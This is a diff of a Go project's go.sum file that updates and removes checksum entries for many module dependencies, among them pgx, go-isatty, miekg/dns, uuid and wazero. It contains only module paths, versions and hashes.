github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
|
||||
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
||||
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
|
||||
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
|
||||
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
|
||||
github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||
github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
|
||||
github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
|
||||
github.com/go-sql-driver/mysql v1.7.0 h1:ueSltNNllEqE3qcWBTD0iQd3IpL/6U+mJxLkazJ7YPc=
|
||||
github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
|
||||
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
|
||||
@@ -114,8 +103,8 @@ github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
|
||||
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
|
||||
github.com/gofrs/uuid v4.3.1+incompatible h1:0/KbAdpx3UXAx1kEOWHJeOkpbgRFGHVgv+CFIY7dBJI=
|
||||
github.com/gofrs/uuid v4.3.1+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA=
|
||||
github.com/gofrs/uuid v4.4.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
|
||||
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
|
||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
||||
@@ -123,38 +112,24 @@ github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfb
|
||||
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
|
||||
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
|
||||
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
|
||||
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
|
||||
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
|
||||
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
|
||||
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
|
||||
github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
||||
github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
|
||||
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
||||
github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4=
|
||||
github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
|
||||
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
|
||||
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=
|
||||
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
|
||||
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
|
||||
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI=
|
||||
github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y=
|
||||
github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 h1:UH//fgunKIs4JdUbpDl1VZCDaL56wXCB/5+wF6uHfaI=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0/go.mod h1:g5qyo/la0ALbONm6Vbp88Yd8NsDy6rZz+RcrMPxvld8=
|
||||
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
|
||||
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
@@ -172,16 +147,15 @@ github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7P
|
||||
github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
|
||||
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
|
||||
github.com/jackc/pgx/v5 v5.2.0 h1:NdPpngX0Y6z6XDFKqmFQaE+bCtkqzvQIOt1wvBlAqs8=
|
||||
github.com/jackc/pgx/v5 v5.2.0/go.mod h1:Ptn7zmohNsWEsdxRawMzk3gaKma2obW+NWTnKa0S4nk=
|
||||
github.com/jackc/puddle/v2 v2.1.2/go.mod h1:2lpufsF5mRHO6SuZkm0fNYxM6SWHfvyFj62KwNzgels=
|
||||
github.com/jackc/pgx/v5 v5.3.0 h1:/NQi8KHMpKWHInxXesC8yD4DhkXPrVhmnwYkjp9AmBA=
|
||||
github.com/jackc/pgx/v5 v5.3.0/go.mod h1:t3JDKnCBlYIc0ewLF0Q7B8MXmoIaBOZj/ic7iHozM/8=
|
||||
github.com/jackc/puddle/v2 v2.2.0/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
|
||||
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.3 h1:2n9BZ0YQiXGESUSR+6FLg0WWWE80u+mIz35f0uHWcIE=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.3/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6 h1:v6aG9h6Uby3IusSSEjHaZNXpHFhzqMmjXcPq1Rjl9Jw=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6/go.mod h1:Ndk3ase2CkQbXLLNf5QDHoYb6J9WtVfmHZu9n8rk2xs=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
@@ -197,7 +171,6 @@ github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5
|
||||
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
|
||||
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
|
||||
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
|
||||
github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
|
||||
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
|
||||
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||
github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0=
|
||||
@@ -209,12 +182,11 @@ github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
|
||||
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
|
||||
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
|
||||
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
|
||||
github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
|
||||
@@ -223,16 +195,15 @@ github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaO
|
||||
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
|
||||
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
||||
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
|
||||
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
|
||||
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
|
||||
github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
|
||||
github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng=
|
||||
github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
|
||||
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
@@ -243,37 +214,37 @@ github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWC
|
||||
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
|
||||
github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
|
||||
github.com/miekg/dns v1.1.52 h1:Bmlc/qsNNULOe6bpXcUTsuOajd0DzRHwup6D9k1An0c=
|
||||
github.com/miekg/dns v1.1.52/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
|
||||
github.com/mikioh/ipaddr v0.0.0-20190404000644-d465c8ab6721/go.mod h1:Ickgr2WtCLZ2MDGd4Gr0geeCH5HybhRJbonOgQpvSxc=
|
||||
github.com/moloch--/grumble v1.1.6 h1:FjPkuGOIwGL8nGkEH0EegnQgsl6Rn0R0fhBW/kcA0s8=
|
||||
github.com/moloch--/grumble v1.1.6/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
|
||||
github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96djdrsSGy3AWPyBgZMAGfxZNfgntdJG+11KU4QvbU=
|
||||
github.com/ncruces/go-sqlite3 v0.5.3 h1:n7kYgRp5CVZepOiZql/pgPG3IelkUIF95AE70EiM8JE=
|
||||
github.com/ncruces/go-sqlite3 v0.5.3/go.mod h1:bC0Wm1XQMcTz7BZzINEYFHLvfzxh+NbZftPo40xkfuc=
|
||||
github.com/ncruces/julianday v0.1.5 h1:hDJ9ejiMp3DHsoZ5KW4c1lwfMjbARS7u/gbYcd0FBZk=
|
||||
github.com/ncruces/julianday v0.1.5/go.mod h1:Dusn2KvZrrovOMJuOt0TNXL6tB7U2E8kvza5fFc9G7g=
|
||||
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c h1:ncq/mPwQF4JjgDlrVEn3C11VoGHZN7m8qihwgMEtzYw=
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
|
||||
github.com/pquerna/otp v1.4.0 h1:wZvl1TIVxKRThZIBiwOOHOGP/1+nZyWBil9Y2XNEDzg=
|
||||
github.com/pquerna/otp v1.4.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
|
||||
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
|
||||
github.com/rogpeppe/go-internal v1.6.1 h1:/FiVV8dS/e+YqF2JvO3yXRFbBLTIuSDkuC7aBOAvL+k=
|
||||
github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/shirou/gopsutil/v3 v3.22.12 h1:oG0ns6poeUSxf78JtOsfygNWuEHYYz8hnnNg7P04TJs=
|
||||
github.com/shirou/gopsutil/v3 v3.22.12/go.mod h1:Xd7P1kwZcp5VW52+9XsirIKd/BROzbb2wdX3Kqlz9uI=
|
||||
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
|
||||
@@ -290,7 +261,6 @@ github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXf
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
@@ -298,29 +268,23 @@ github.com/stretchr/testify v1.7.4/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk=
|
||||
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/tetratelabs/wazero v1.0.0 h1:sCE9+mjFex95Ki6hdqwvhyF25x5WslADjDKIFU5BXzI=
|
||||
github.com/tetratelabs/wazero v1.0.0/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
|
||||
